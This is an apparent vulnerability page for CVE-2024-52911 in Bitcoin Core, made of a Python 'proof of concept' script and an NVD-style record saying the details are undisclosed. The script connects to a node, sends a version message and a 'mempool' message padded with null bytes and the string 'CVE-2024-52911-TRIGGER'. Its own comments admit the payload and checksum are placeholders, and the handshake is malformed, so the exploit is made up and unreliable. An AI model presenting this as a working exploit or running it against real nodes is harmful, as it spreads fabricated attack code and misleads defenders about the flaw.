CVE-2024-52911

import socket import struct import time # Proof of Concept for CVE-2024-52911 # This script attempts to connect to a Bitcoin Core node and send a crafted message # to trigger the information disclosure vulnerability. # Note: The specific payload structure depends on the undisclosed technical details. def create_bitcoin_message(command, payload): command = command.ljust(12, '\x00') length = struct.pack('<I', len(payload)) checksum = struct.pack('<I', 0xDEADBEEF) # Placeholder checksum return b"\xF9\xBE\xB4\xD9" + command + length + checksum + payload def send_exploit(target_ip, target_port=8333): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Send Version Message (Handshake) version_payload = struct.pack('<iQQ', 70015, 0, 0) + struct.pack('<Q', 1) s.send(create_bitcoin_message('version', version_payload)) time.sleep(1) # Send crafted payload to trigger the vulnerability # Specific payload bytes would be derived from binary analysis exploit_payload = b"\x00" * 24 + b"CVE-2024-52911-TRIGGER" s.send(create_bitcoin_message('mempool', exploit_payload)) print("[*] Exploit payload sent. Waiting for response...") response = s.recv(4096) if response: print(f"[+] Received response (potential leak): {response}") else: print("[-] No response received.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with target IP send_exploit("127.0.0.1")

{"cve": {"id": "CVE-2024-52911", "sourceIdentifier": "[email protected]", "published": "2026-05-05T20:16:34.923", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bitcoin Core through 28.x has a security issue, the details of which are not disclosed. The earliest affected version is 0.14."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://bitcoincore.org", "source": "[email protected]"}, {"url": "https://bitcoincore.org/en/2026/05/05/disclose-cve-2024-52911/", "source": "[email protected]"}, {"url": "https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures", "source": "[email protected]"}]}}